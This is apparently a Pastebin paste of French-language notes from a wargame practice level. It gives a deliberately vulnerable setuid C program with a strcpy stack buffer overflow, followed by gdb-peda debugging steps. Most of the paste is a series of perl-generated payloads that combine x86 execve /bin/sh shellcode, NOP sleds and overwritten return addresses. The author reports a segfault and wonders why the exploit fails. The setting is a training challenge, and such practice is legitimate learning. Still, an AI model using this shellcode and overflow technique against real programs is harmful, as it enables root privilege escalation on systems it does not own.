Combreal

bof_nc_01a

Aug 7th, 2020 (edited)
772
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.36 KB | None | 0 0
  1. wargame 01a - wargame.newbiecontest.org:22222 level01a///level01a
  2. ---> passer root dans le binaire (sticky bit) et faire un cat $HOME/.password
  3.  
  4.  
  5. bin01a.c
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9.  
  10. #define COMMANDE "/bin/cat /home/level01a/.password"
  11.  
  12. int flag=0;
  13.  
  14. int check(char *password)
  15. {
  16.  
  17.         char verif[29];
  18.         char buffer[16];
  19.  
  20.         strcpy(buffer, password);
  21.         strcpy(verif, "Donotcareitisnotusefull");
  22.  
  23.         if(strcmp(buffer, verif) == 0)
  24.                 flag = 1;
  25.  
  26.         return flag;
  27. }
  28.  
  29. int main(int argc, char ** argv)
  30. {
  31.         if(argc != 2)
  32.         {
  33.                 printf("Usage: %s <password>\n", argv[0]);
  34.                 return 1;
  35.         }
  36.         if(check(argv[1])==1)
  37.         {
  38.                 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  39.                 printf("      Access Granted for my grand ma !\n");
  40.                 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  41.                 system(COMMANDE);
  42.         }
  43.         else
  44.         {
  45.                 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  46.                 printf("\nAccess Denied!\n");
  47.                 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  48.         }
  49. }
  50.  
  51. mkdir /tmp/wg01a && cp bin01a.c /tmp/wg01a/bin01a.c && cd /tmp/wg01a
  52.  
  53. gcc -g -fno-stack-protector -z execstack -o bin01a bin01a.c
  54.  
  55. peda bin01a
  56.  
  57. list
  58.  
  59. disass check
  60.  
  61. b *0x080484ec
  62. b *0x080484ff
  63.  
  64. x/xw $esp
  65. 0xbffffbdc:     0x08048592
  66.  
  67. dumpargs
  68. Guessed arguments:
  69. arg[0]: 0xbffffba3 --> 0xe9f375bf #0xbffffbd3 --> bla
  70. arg[1]: 0xbffffdd0 ('A' <repeats 100 times>)
  71.  
  72. p/d 0xbffffbdc-0xbffffba3   0xbffffc0c-0xbffffbd3
  73.   57
  74.  
  75. r $(perl -e 'print "A"x57 . "ABCD"')
  76. c
  77. c
  78.  
  79. r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "ABCD"')
  80.  
  81. #0xbffffbd3   0xbffffbd3 # test 0xbffffc05 #0xbffffbe0 avec NOP sled # desesp 0xbffffdf6   #rest 0xbffffbe4
  82. r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "\xd3\xfb\xff\xbf"')
  83. r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "\x05\xfc\xff\xbf"')
  84.  
  85. r $(perl -e 'print "\x90"x32 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-32-23) . "\xd3\xfb\xff\xbf"')
  86. r $(perl -e 'print "\x90"x32 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-32-23) . "\xe0\xfb\xff\xbf"')
  87. r $(perl -e 'print "\x90"x32 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-32-23) . "ABCD"')
  88.  
  89.  
  90. NOK
  91. r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "\xd3\xfb\xff\xbf"')
  92. http://image.noelshack.com/fichiers/2020/32/5/1596807356-01-sigfault.png
  93.  
  94. @ du début du buffer trouvé par un break point sur le call puis dumpargs (arg[0])
  95. alors que je pensais controler la stack car je break bien sur ABCD avec :
  96. r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "ABCD"')
  97. Stopped reason: SIGSEGV
  98. 0x44434241 in ?? ()
  99. et le shell code est fonctionnel car testé OK sur un autre binaire
  100.  
Add Comment
Please, Sign In to add comment